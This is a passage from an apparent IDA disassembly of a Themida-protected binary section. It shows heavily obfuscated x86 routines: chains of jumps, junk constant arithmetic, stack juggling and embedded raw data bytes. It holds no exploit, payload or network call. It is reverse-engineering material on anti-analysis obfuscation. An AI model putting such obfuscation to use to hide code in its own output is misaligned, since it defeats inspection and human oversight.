		jmp	loc_5617F6
; ---------------------------------------------------------------------------
a_hcd		db '_h√D',0
		dw 8900h
		dd 0EC812414h, 4, 0BE243489h, 6F4D57CAh, 0F03E6C1h, 38A385h
		dd 7FF68100h, 0E934360Ch, 5C5Dh
; ---------------------------------------------------------------------------

loc_55CDD8:				; CODE XREF: Themida_:0055FAD2j
		mov	edx, [esp]
		push	3736h
		mov	[esp], ecx
		mov	ecx, esp
		push	edx
		jmp	loc_55C4C4
; ---------------------------------------------------------------------------

loc_55CDEB:				; CODE XREF: Themida_:0055D8B2j
		pop	esp
		mov	[esp], esi
		push	50ACh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		jmp	loc_55C9CD
; ---------------------------------------------------------------------------

loc_55CE08:				; CODE XREF: Themida_:00559F3Fj
					; Themida_:005667EDj ...
		pop	ebx
		add	esp, 4
		mov	dh, al
		pop	eax
		sub	al, dh
		jmp	loc_567F30
; ---------------------------------------------------------------------------

loc_55CE16:				; CODE XREF: Themida_:0056426Aj
		mov	ecx, 4ADF1DBCh
		push	ebp
		mov	ebp, 1C52D4Ah
		mov	ebx, ebp
		pop	ebp
		add	ebx, ecx
		jmp	loc_56B981
; ---------------------------------------------------------------------------

loc_55CE2B:				; CODE XREF: Themida_:0055DCBAj
					; Themida_:00561BF8j
		push	22EDh
		mov	[esp], ecx
		jmp	loc_556B1B
; ---------------------------------------------------------------------------

loc_55CE38:				; CODE XREF: Themida_:005678B5j
		pop	edi
		sub	eax, ebx
		mov	ebx, [esp]
		jmp	loc_562339
; ---------------------------------------------------------------------------

loc_55CE43:				; CODE XREF: Themida_:0055BAE7j
					; Themida_:0056C86Ej
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_55CE48:				; CODE XREF: Themida_:00559D45j
		mov	dl, 74h
		mov	bh, 66h
		jmp	loc_563AA0
; ---------------------------------------------------------------------------
byte_55CE51	db 0ADh, 0E9h, 0A6h	; DATA XREF: Themida_:00556120o
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CE57:				; CODE XREF: Themida_:00563FE7j
		shl	bh, 1
		shl	bh, 5
		shr	bh, 3
		jnz	loc_55E736
		push	eax
		mov	ah, 6Fh
		jmp	loc_55D081
; ---------------------------------------------------------------------------

loc_55CE6D:				; CODE XREF: Themida_:0055FCACj
		mov	[esp], edi
		push	54E93142h
		pop	edi
		sub	[esp+4], edi
		pop	edi
		jmp	loc_55AFAC
; ---------------------------------------------------------------------------

loc_55CE80:				; CODE XREF: Themida_:0055E0C7j
		mov	edi, 73D0395Bh
		push	edx
		mov	edx, edi
		jmp	loc_56A86A
; ---------------------------------------------------------------------------

loc_55CE8D:				; CODE XREF: Themida_:0056CC1Cj
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_566001
; ---------------------------------------------------------------------------

loc_55CE98:				; CODE XREF: Themida_:00564CFEj
		add	ebp, 4
		push	2F82h
		jmp	loc_55822C
; ---------------------------------------------------------------------------
		dd 8158C701h, 0BF5381EFh, 53EF290Fh, 0BF5381BBh, 5BDF010Fh
		dd 0E789575Dh, 4C781h, 0EF830000h, 243C8704h, 240C895Ch
		dd 511C03B9h, 68BA527Eh, 161D772h, 0CB295AD3h, 81E28952h
		dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 68BF243Ch, 2961D772h
		dd 6C07E9FBh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55CF02:				; CODE XREF: Themida_:0056A9B7j
		xchg	edi, [esp]
		pop	esp
		mov	edi, [esp]
		jmp	loc_561AE2
; ---------------------------------------------------------------------------
		dw 0CA80h
		dd 0F135E97Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CF16:				; CODE XREF: Themida_:00567523j
		push	ecx
		push	edi
		mov	edi, 4C46BC8h
		mov	ecx, 7AFD471Dh
		xor	ecx, edi
		jmp	loc_557029
; ---------------------------------------------------------------------------

loc_55CF29:				; CODE XREF: Themida_:00561C58j
		pop	eax
		pop	edx
		jmp	loc_5575D4
; ---------------------------------------------------------------------------

loc_55CF30:				; CODE XREF: Themida_:005565BFj
		inc	ebp
		add	ebp, 6DC313C5h
		inc	ebp
		add	ebp, 0BEFA8FECh
		add	ebx, 20257855h
		add	ebx, ebp
		sub	ebx, 20257855h
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5650D3
; ---------------------------------------------------------------------------

loc_55CF56:				; CODE XREF: Themida_:00562E02j
		add	eax, 411224D9h
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_558756
; ---------------------------------------------------------------------------

loc_55CF6B:				; CODE XREF: Themida_:00567DABj
		add	esp, 4
		push	27C2h
		mov	[esp], ebp
		push	6721h
		mov	[esp], esi
		push	ebx
		jmp	loc_561052
; ---------------------------------------------------------------------------

loc_55CF87:				; CODE XREF: Themida_:00558679j
		sub	edx, 33462420h
		not	edx
		jmp	loc_567120
; ---------------------------------------------------------------------------
aSB		db '\И/║',0
		align 2

loc_55CF9A:				; CODE XREF: Themida_:0055FAFFj
		add	ebp, 4
		push	29D0h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ebp
		push	5E903D47h
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		push	ebx
		push	eax
		jmp	loc_569431
; ---------------------------------------------------------------------------
		dw 0E681h
		dd 78764C47h, 0FF9A31E9h, 348B5DFFh, 0B210E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CFE6:				; CODE XREF: Themida_:00557BD5j
		pop	edx
		add	ebx, ecx
		pop	ecx
		jmp	loc_56CA90
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0D8CDE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55CFFA:				; CODE XREF: Themida_:00560581j
		sub	esi, eax
		pop	eax
		and	ebx, esi
		jmp	loc_55A95A
; ---------------------------------------------------------------------------
		dd 815AD529h, 24B570F5h, 8BEB2933h, 0C483242Ch,	0DDC38104h
		dd 8102BF6Fh, 7D4C94C3h, 84BF5721h, 0F75ED863h,	0C5C781D7h
		dd 1C2519Bh, 0EB815FFBh, 10EE7F21h, 0C381C301h,	10EE7F21h
		dd 3840EB81h, 0EB816379h, 217D4C94h, 0C00FE9h, 8F58100h
		dd 81566123h, 0A9A675F5h, 5DEE89DFh, 505EF729h,	7DDDBCB8h
		dd 58C731C4h, 835FFA01h, 0FF5204C2h, 8B042474h,	54562414h
		dd 2F9BE9h
		db 0
; ---------------------------------------------------------------------------

loc_55D081:				; CODE XREF: Themida_:0055CE68j
		shr	ah, 6
		jns	loc_55A514
		dec	ah
		jg	loc_5589CF
		add	ah, 54h

loc_55D095:				; CODE XREF: Themida_:00566115j
		mov	edi, 51835098h
		jmp	loc_5621BD
; ---------------------------------------------------------------------------

loc_55D09F:				; CODE XREF: Themida_:0055F889j
		shr	ecx, 4
		jmp	loc_56C3AD
; ---------------------------------------------------------------------------
		db 0Fh
		dd 882E8Ch, 96F78100h, 0F497B58h, 4CEF84h, 0D1EF8100h
		dd 573EDCC8h, 5F241CF7h, 327CBB53h, 0EB811592h,	3E5376C5h
		dd 0C445B850h, 0C3017FD1h, 8BDF2158h, 0C481241Ch, 4, 0C108EFC1h
		dd 0EF8104E7h, 3E9E0465h, 26BABD55h, 0EF019A95h, 0BB31E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55D0FE:				; CODE XREF: Themida_:0055A60Bj
		jmp	loc_55BED8
; ---------------------------------------------------------------------------

loc_55D103:				; CODE XREF: Themida_:0056D11Ej
		sub	ebx, eax
		pop	eax
		add	ebx, edx
		push	ebp
		mov	ebp, 67AF5266h
		sub	ebp, 0AF6617Fh
		shl	ebp, 5
		neg	ebp
		xor	ebp, 7038CDBAh
		add	ebx, ebp
		pop	ebp
		pop	edx
		mov	edi, ebx
		pop	ebx
		add	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	30FCh
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	6CFCh
		mov	[esp], eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	3C35h
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_55B706
; ---------------------------------------------------------------------------
		db 81h,	0CFh, 0C6h
		dd 4F77A61Ch, 8106EFC1h, 590AAFCFh, 0B90BE92Dh,	0D6F6FFFFh
		dd 0C06BB551h, 0F58004EDh, 0EDB7E98Bh, 483FFFFh, 34FF0424h
		dd 0CDE95B24h
		db 8Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55D18F:				; CODE XREF: Themida_:00562ED5j
					; DATA XREF: Themida_:00556008o
		push	0C44h
		jmp	loc_561EA1
; ---------------------------------------------------------------------------

loc_55D199:				; CODE XREF: Themida_:0055A728j
		and	[esp], eax
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
		dw 0E997h
		dd 0FFFFFBAFh
; ---------------------------------------------------------------------------

loc_55D1A8:				; CODE XREF: Themida_:0055C860j
		jmp	loc_56374B
; ---------------------------------------------------------------------------

loc_55D1AD:				; CODE XREF: Themida_:00568BBDj
		push	edx
		mov	edx, 1827566h
		and	edx, 33317DBEh
		xchg	ecx, edx
		neg	ecx
		jmp	loc_55EAC7
; ---------------------------------------------------------------------------

loc_55D1C2:				; CODE XREF: Themida_:005619FBj
		mov	[esp], eax
		mov	eax, 66D046DFh
		xor	ecx, eax
		pop	eax
		jmp	loc_5605CB
; ---------------------------------------------------------------------------

loc_55D1D2:				; CODE XREF: Themida_:00559540j
		add	ecx, 793A1231h
		push	edi
		mov	edi, 79424387h
		xor	ecx, edi
		pop	edi
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edx
		push	2381h
		jmp	loc_55B056
; ---------------------------------------------------------------------------

loc_55D1F6:				; CODE XREF: Themida_:00569987j
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		and	esi, 18DF6C44h
		dec	esi
		xor	esi, 0C7698691h
		push	7A16h
		mov	[esp], ebp
		mov	ebp, 3158339Bh
		sub	eax, ebp
		pop	ebp
		sub	eax, esi
		add	eax, 3158339Bh
		jmp	loc_56AD84
; ---------------------------------------------------------------------------

loc_55D22B:				; CODE XREF: Themida_:0056AEF0j
		mov	[esp], ebp
		push	5505D0Ch
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	edi, 5505D0Dh
		jmp	loc_55FD48
; ---------------------------------------------------------------------------

loc_55D259:				; CODE XREF: Themida_:005568F6j
		not	esi
		shr	esi, 4
		dec	esi
		jnp	loc_559587
		xor	esi, 1AEB0C4Bh
		mov	edx, esi
		pop	esi
		add	ebx, edx
		pop	edx
		add	ebx, 85360166h
		sub	edx, ebx
		pop	ebx
		sub	eax, 3F88578Bh
		jmp	loc_566753
; ---------------------------------------------------------------------------

loc_55D284:				; CODE XREF: Themida_:0055FB70j
		sub	ebx, edx
		pop	edx
		push	eax
		push	esi
		mov	esi, 178395Eh
		push	2FEB6046h
		jmp	loc_563C95
; ---------------------------------------------------------------------------

loc_55D298:				; CODE XREF: Themida_:0055A181j
		add	esp, 4
		xor	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		push	eax
		push	659236B4h
		mov	eax, [esp]
		jmp	loc_560EDC
; ---------------------------------------------------------------------------

loc_55D2B2:				; CODE XREF: Themida_:00567FFCj
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		jmp	loc_5582AA
; ---------------------------------------------------------------------------

loc_55D2C7:				; CODE XREF: Themida_:0055F479j
		xor	[esp+4], eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_562505
; ---------------------------------------------------------------------------
aS5v		db '╡ И5V',0
		align 2

loc_55D2DE:				; CODE XREF: Themida_:0055A8ADj
		mov	edi, 0FF66ABCEh
		sub	edx, edi
		pop	edi
		sub	esi, 7A84682Ch
		sub	esi, edx
		add	esi, 7A84682Ch
		pop	edx
		sub	edx, esi
		pop	esi
		push	eax
		mov	eax, 6AFD528Fh
		neg	eax
		sub	eax, 64554B93h
		sub	edx, 13B769D3h
		sub	edx, eax
		add	edx, 13B769D3h
		pop	eax
		add	edx, 5AED7B16h
		add	edx, eax
		sub	edx, 5AED7B16h
		push	ebx
		mov	ebx, 30AD61DEh
		add	edx, ebx
		pop	ebx
		jmp	loc_564D75
; ---------------------------------------------------------------------------

loc_55D330:				; CODE XREF: Themida_:0055C113j
		mov	si, [esp]
		push	eax
		push	esp
		pop	eax
		jmp	loc_566F7C
; ---------------------------------------------------------------------------

loc_55D33C:				; CODE XREF: Themida_:00565A4Ej
		and	edi, 5FE3340Fh
		jmp	loc_559529
; ---------------------------------------------------------------------------
		db 0E9h
		dd 736Ch
; ---------------------------------------------------------------------------

loc_55D34C:				; CODE XREF: Themida_:005665BAj
		mov	[esp], eax
		jmp	loc_55C874
; ---------------------------------------------------------------------------

loc_55D354:				; CODE XREF: Themida_:005617D8j
		rep movsd
		add	esp, [edx+38h]
		push	7710h
		mov	[esp], edi
		push	ebx
		mov	ebx, esp
		push	2333h
		mov	[esp], edi
		mov	edi, 4
		push	edi
		jmp	loc_56AF9B
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0CF6105D0h, 70E9A0B8h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55D383:				; CODE XREF: Themida_:00563D8Cj
		push	ecx
		jmp	loc_55B2D4
; ---------------------------------------------------------------------------

loc_55D389:				; CODE XREF: Themida_:00558F80j
		add	dword ptr [esp], 44FC234Fh
		push	edx
		mov	edx, 454F4FAFh
		sub	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		add	dword ptr [esp], 23546179h
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 0CC2117Ah
		shl	esi, 1
		jmp	loc_55A049
; ---------------------------------------------------------------------------
		db 80h
		dd 0DBE9F3F7h, 0FFFFFE6h, 0C6C28Bh, 72C3E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55D3CA:				; CODE XREF: Themida_:00567DA3j
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4D324B25h
		not	ebp
		inc	ebp
		jmp	loc_557D0F
; ---------------------------------------------------------------------------

loc_55D3E0:				; CODE XREF: Themida_:0056CA7Fj
		pop	edx
		sub	dword ptr [esp+4], 2F056A9Ch
		push	dword ptr [esp]
		jmp	loc_557195
; ---------------------------------------------------------------------------
		db 57h,	52h, 0BAh
		dd 548A3169h, 0FFAF46E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55D3FD:				; CODE XREF: Themida_:00566491j
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		push	eax
		push	ebp
		mov	ebp, 5B6419EEh
		mov	eax, ebp
		mov	ebp, [esp]
		jmp	loc_56BB40
; ---------------------------------------------------------------------------

loc_55D41B:				; CODE XREF: Themida_:0055BE8Cj
		mov	ebx, 2E330A44h
		or	ebx, 64A25FD3h
		xor	ebx, 51B416E8h
		and	ebx, 0E014E65h
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_564363
; ---------------------------------------------------------------------------
aZpHky		db '╨ц┤╞;h╙Y',0
		align 10h
		dd 0E9240C89h, 0FFFFD029h
; ---------------------------------------------------------------------------

loc_55D458:				; CODE XREF: Themida_:00566629j
		inc	al
		inc	al
		push	dx
		mov	dh, 0Dh
		jmp	loc_56D642
; ---------------------------------------------------------------------------
		db 5, 0C4h, 6Fh
		dd 0D801539Bh, 4CFE9h
		db 0
; ---------------------------------------------------------------------------

loc_55D471:				; CODE XREF: Themida_:00568089j
		pop	esp
		push	dword ptr [esp]
		pop	eax
		jmp	loc_564CD3
; ---------------------------------------------------------------------------
		db 83h
		dd 94E904C6h
		db 65h,	2 dup(0)
byte_55D483	db 66h			; DATA XREF: Themida_:0055626Co
		dd 68240C8Bh, 5E58h, 81242C89h,	4ECh, 24248900h, 4F3E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55D49E:				; CODE XREF: Themida_:0056C1D1j
		not	bh
		mov	al, bh
		mov	ebx, [esp]
		add	esp, 4
		or	al, 44h
		shr	al, 7
		push	dx
		mov	dl, 0D5h
		xor	al, dl
		pop	dx
		add	cl, 7
		add	cl, al
		push	eax
		mov	ah, 7
		and	ah, 5Bh
		not	ah
		sub	ah, 46h
		sub	ah, 0AFh
		sub	cl, ah
		jmp	loc_55D54C
; ---------------------------------------------------------------------------
aS_6		db ')ъИ=т',0
		db 0
; ---------------------------------------------------------------------------

loc_55D4D9:				; CODE XREF: Themida_:0056D2FEj
		sub	ebp, 22D0177Bh
		add	ebp, 6FC00860h
		jmp	loc_558E52
; ---------------------------------------------------------------------------

loc_55D4EA:				; CODE XREF: Themida_:00567EACj
		mov	esi, edi
		jmp	loc_56A6E3
; ---------------------------------------------------------------------------

loc_55D4F1:				; CODE XREF: Themida_:00563255j
		pop	ebx
		add	edx, edi
		push	ecx
		push	eax
		push	630A3C02h
		pop	eax
		shl	eax, 7
		jnp	loc_55E75D
		and	eax, 2D4F7B8Eh
		jz	loc_55B6F7
		add	eax, 5D9638EDh
		mov	ecx, eax
		pop	eax
		add	ecx, 24A50557h
		jnb	loc_556415
		xor	ecx, 0CEAD29F4h
		xor	al, 51h
		push	esp

loc_55D52E:				; CODE XREF: Themida_:0056D67Cj
		mov	edx, 2
		add	esi, edx
		pop	edx
		xchg	esi, [esp]
		mov	esp, [esp]
		imul	cl
		movzx	cx, ah
		push	6044h
		jmp	loc_559958
; ---------------------------------------------------------------------------

loc_55D54C:				; CODE XREF: Themida_:0055D4CDj
		mov	eax, [esp]
		jmp	loc_55DB56
; ---------------------------------------------------------------------------

loc_55D554:				; CODE XREF: Themida_:0055DE12j
		sub	edi, 74CC8DDDh
		mov	ebx, edi
		pop	edi
		push	edi
		mov	edi, 1
		sub	ebx, edi
		pop	edi
		neg	ebx
		neg	ebx
		push	eax
		push	esi
		mov	esi, 400B4E1Fh
		neg	esi
		jge	loc_55715B
		jmp	loc_56198C
; ---------------------------------------------------------------------------
aBZkoSF		db '│бzK╝"Ифf',0
		db 0
; ---------------------------------------------------------------------------

loc_55D589:				; CODE XREF: Themida_:00568F1Cj
		add	bl, ah
		add	bl, 0BAh
		push	dword ptr [esp]
		jmp	loc_5673F7
; ---------------------------------------------------------------------------

loc_55D596:				; CODE XREF: Themida_:00560565j
		push	ecx
		jmp	loc_55D78E
; ---------------------------------------------------------------------------

loc_55D59C:				; CODE XREF: Themida_:00559870j
		pop	esp
		xor	edx, edx
		push	edi
		jmp	loc_56B243
; ---------------------------------------------------------------------------
aIcsj		db '┴ГИJ-',0
		align 4

loc_55D5AC:				; CODE XREF: Themida_:00559BA7j
		shr	edi, 2
		shr	edi, 2
		push	edx
		mov	edx, 0FC029412h
		add	edi, edx
		jmp	loc_56AA42
; ---------------------------------------------------------------------------

loc_55D5BF:				; CODE XREF: Themida_:005610EEj
		add	dword ptr [esp], 56510D00h
		pop	ecx
		push	esi
		mov	esi, 56510D00h
		jmp	loc_5666EE
; ---------------------------------------------------------------------------

loc_55D5D2:				; CODE XREF: Themida_:00566A99j
		add	esp, 4
		sub	esi, edx
		sub	esi, 1C37271Eh
		pop	edx
		sub	esi, ecx
		add	esi, 452349F5h
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 55AE2E90h
		push	ebp
		mov	ebp, 58BB2964h
		add	esi, ebp
		pop	ebp
		add	esi, 1D124E40h
		add	esi, eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 5B8B2062h
		shl	ecx, 7
		add	ecx, 57821D40h
		jmp	loc_5678C0
; ---------------------------------------------------------------------------

loc_55D61F:				; CODE XREF: Themida_:00559C3Bj
		add	esp, 4
		push	ecx
		mov	ecx, 3D1C2AB7h
		xor	ecx, 43874095h
		add	edx, ecx
		jmp	loc_56A9BC
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 4EC815Dh,	89000000h, 0E589242Ch, 4C581h, 0ED830000h
		dd 4FBFE904h, 815B0000h, 0B601AAE3h, 81DBF75Ch,	33E53CF3h
		dd 5BD989D3h, 0AAAEE9h
		db 0
; ---------------------------------------------------------------------------

loc_55D66D:				; CODE XREF: Themida_:0055E076j
		sub	esp, 2
		mov	[esp], dx
		push	ecx
		mov	cl, 9Dh
		shl	cl, 2
		jz	loc_56AF42
		neg	cl
		jmp	loc_55748D
; ---------------------------------------------------------------------------

loc_55D687:				; CODE XREF: Themida_:005668FDj
		mov	[esp], ebx
		push	105Bh
		mov	[esp], eax
		jmp	loc_5577EA
; ---------------------------------------------------------------------------

loc_55D697:				; CODE XREF: Themida_:00556E97j
		pop	edx
		push	cx
		mov	cl, 0C5h
		sub	al, cl
		pop	cx
		pop	ebx
		xor	bl, al
		movzx	eax, al
		jmp	loc_55E8EA
; ---------------------------------------------------------------------------

loc_55D6AB:				; CODE XREF: Themida_:0056472Bj
		mov	edi, [esp]
		add	esp, 4
		push	edx
		jmp	loc_565F03
; ---------------------------------------------------------------------------

loc_55D6B7:				; CODE XREF: Themida_:00558575j
		inc	dword ptr [esp]
		pop	ebx
		jmp	loc_55C7C5
; ---------------------------------------------------------------------------

loc_55D6C0:				; CODE XREF: Themida_:00559347j
		pop	edi
		add	ebx, edx
		pop	edx
		jmp	loc_5622AA
; ---------------------------------------------------------------------------

loc_55D6C9:				; CODE XREF: Themida_:0055847Dj
		pop	esp
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		jmp	loc_569799
; ---------------------------------------------------------------------------

loc_55D6D6:				; CODE XREF: Themida_:0055EB72j
		or	ebx, 61DD6880h
		ja	loc_56757C
		or	ebx, 7AC8639Eh
		jmp	loc_5616E9
; ---------------------------------------------------------------------------

loc_55D6ED:				; CODE XREF: Themida_:0055BA8Aj
					; Themida_:0056524Fj
		mov	esi, 16842AE5h
		xor	ecx, esi
		pop	esi
		push	edi
		mov	edi, 75F11743h
		shr	edi, 2
		inc	edi
		or	edi, 2DBE6F14h
		sub	edi, 813F77F4h
		xor	ecx, edi
		pop	edi
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_5665E4
; ---------------------------------------------------------------------------
		dd 0E905E2C1h, 0FFFFF31Ch, 68243489h, 5C69h, 4EC81h, 24890000h
		dd 24048124h, 4, 6824048Fh, 62EAh, 0B8240489h, 4, 4244401h
		dd 4F685E58h, 0E900003Ch, 138Ah, 4D68h,	240C8900h, 8904EC83h
		dd 4CB02404h, 820FD8F6h, 0FFFFBBD8h, 8B0FC234h,	0E235h
		dd 0F18BE0D0h
		db 8Ah,	0E9h
; ---------------------------------------------------------------------------

loc_55D782:				; CODE XREF: Themida_:0055F547j
		mov	ebx, 2DA93D4Dh
		mov	edi, ebx
		jmp	loc_55C5E3
; ---------------------------------------------------------------------------

loc_55D78E:				; CODE XREF: Themida_:0055D597j
		dec	byte ptr [esp]
		jmp	loc_5691E5
; ---------------------------------------------------------------------------

loc_55D796:				; CODE XREF: Themida_:loc_563583j
		neg	edx
		jz	loc_561570
		jmp	loc_55698E
; ---------------------------------------------------------------------------
		db 81h
		dd 0CB0101EFh, 8FEF8159h, 15B5791h, 0CB895FF9h,	9E77E9h
		db 0
byte_55D7B9	db 8Bh,	4, 24h		; DATA XREF: Themida_:005561F0o
		dd 0FEE95456h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55D7C3:				; CODE XREF: Themida_:00567901j
		xor	ebp, ecx
		pop	ecx
		shr	ebp, 4
		shl	ebp, 8
		jmp	loc_55D94F
; ---------------------------------------------------------------------------
		db 68h,	47h, 3Fh
		dd 1C890000h, 0C040B324h, 0C38005E3h, 0FFC38001h, 0C09AB252h
		dd 0E2C005E2h, 49C28006h, 0EA80DAF6h, 0E9D3207Ch, 0D2Ch
		dd 969EE951h, 0EBC10000h, 0FF840F08h, 0E9000090h, 0FFFF97B3h
; ---------------------------------------------------------------------------

loc_55D810:				; CODE XREF: Themida_:0055F5A4j
					; Themida_:00566935j
		pop	ax
		sub	bl, al
		add	bl, 51h
		sub	bl, 0Bh
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	bl, 0FCh
		sub	bl, 0E8h
		sub	bl, al
		add	bl, 0E8h
		add	bl, 0FCh
		add	bl, 6Eh
		jmp	loc_55EE76
; ---------------------------------------------------------------------------

loc_55D83A:				; CODE XREF: Themida_:0056C60Cj
		push	ebx
		push	ecx
		mov	cl, 0A9h
		shr	cl, 4
		jp	loc_55CB64
		inc	cl
		jno	loc_55ECEB
		mov	ecx, eax
		pop	edx
		xor	edx, 39A020Ch
		sub	ebx, 40B8083Dh
		add	ebx, 157A08B1h
		add	ebx, 0E0E1DADh
		add	ebx, edx
		sub	ebx, 0E0E1DADh
		jmp	loc_55F9A5
; ---------------------------------------------------------------------------

loc_55D877:				; CODE XREF: Themida_:00567317j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 0B3D22F0h
		push	ebp
		xchg	ebp, [esp]
		jmp	loc_557B82
; ---------------------------------------------------------------------------

loc_55D891:				; CODE XREF: Themida_:0056CB5Bj
		and	al, 0B3h
		or	al, 0E6h
		push	edx
		mov	dl, 6Ah
		jmp	loc_55ED51
; ---------------------------------------------------------------------------

loc_55D89D:				; CODE XREF: Themida_:00561ECEj
		add	eax, 46F87686h
		sub	eax, ebx
		sub	eax, 46F87686h
		mov	ebx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		jmp	loc_55CDEB
; ---------------------------------------------------------------------------

loc_55D8B7:				; CODE XREF: Themida_:005699A5j
		pop	ebx
		mov	ecx, [esp]
		jmp	loc_55CAEF
; ---------------------------------------------------------------------------
		dd 0F703E6C1h, 6C681D6h, 2D1BFB83h, 453A4270h, 7005F001h
		dd 0E9453A42h, 80h
; ---------------------------------------------------------------------------

loc_55D8DC:				; CODE XREF: Themida_:00563A58j
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 7
		jmp	loc_557611
; ---------------------------------------------------------------------------

loc_55D8EA:				; CODE XREF: Themida_:00558992j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_565C03
; ---------------------------------------------------------------------------
aXsU		db 'XИ|Н',0
		align 2

loc_55D912:				; CODE XREF: Themida_:0055E731j
		inc	ebx
		add	ebx, 6E7E0E4Fh
		jns	loc_55B258
		dec	ebx
		jnz	loc_55F98F
		jmp	loc_55E1CE
; ---------------------------------------------------------------------------
		db 81h
		dd 0A316D3E5h, 8AD98925h
		db 0F4h
; ---------------------------------------------------------------------------

loc_55D935:				; CODE XREF: Themida_:0056B8F8j
		add	esp, 4
		jmp	loc_56B7CD
; ---------------------------------------------------------------------------
		dd 9B6FC42Dh, 586C2D53h, 0F8E94A16h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D94F:				; CODE XREF: Themida_:0055D7CCj
		push	eax
		mov	eax, 6D9A6578h
		sub	ebp, eax
		jmp	loc_568C74
; ---------------------------------------------------------------------------
		dd 8124348Bh, 4C4h, 0BBA5200h, 2D69ED0Bh, 42092387h, 8705D001h
		dd 8B420923h, 0C4812414h, 4, 741FE9h
		db 0
; ---------------------------------------------------------------------------

loc_55D985:				; CODE XREF: Themida_:00569125j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_568D06
; ---------------------------------------------------------------------------

loc_55D991:				; CODE XREF: Themida_:0056C5DCj
		mov	edx, 4
		add	[esp+4], edx
		jmp	loc_566410
; ---------------------------------------------------------------------------

loc_55D99F:				; CODE XREF: Themida_:00559C55j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55BE7C
; ---------------------------------------------------------------------------

loc_55D9B0:				; CODE XREF: Themida_:00564BBFj
		push	esi
		jmp	loc_565A69
; ---------------------------------------------------------------------------

loc_55D9B6:				; CODE XREF: Themida_:00557C13j
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_55E238
; ---------------------------------------------------------------------------

loc_55D9CA:				; CODE XREF: Themida_:0056317Fj
		mov	edi, 4
		jmp	loc_55DD8D
; ---------------------------------------------------------------------------

loc_55D9D4:				; CODE XREF: Themida_:005672FEj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_56443B
; ---------------------------------------------------------------------------

loc_55D9E5:				; CODE XREF: Themida_:005638D5j
					; Themida_:0056BD31j
		pop	esi
		jmp	loc_5681BE
; ---------------------------------------------------------------------------

loc_55D9EB:				; CODE XREF: Themida_:0055B24Dj
		xor	eax, ecx
		pop	ecx
		jmp	loc_56430F
; ---------------------------------------------------------------------------

loc_55D9F3:				; CODE XREF: Themida_:005579BEj
		push	edi
		mov	edi, 5D8B448Dh
		add	dword ptr [esp+8], 5DC22EFh
		jmp	loc_5573AE
; ---------------------------------------------------------------------------

loc_55DA06:				; CODE XREF: Themida_:00557024j
		sub	ebp, 658911CFh
		jmp	loc_55E483
; ---------------------------------------------------------------------------

loc_55DA11:				; CODE XREF: Themida_:0056C05Dj
		mov	eax, [esp]
		add	esp, 4
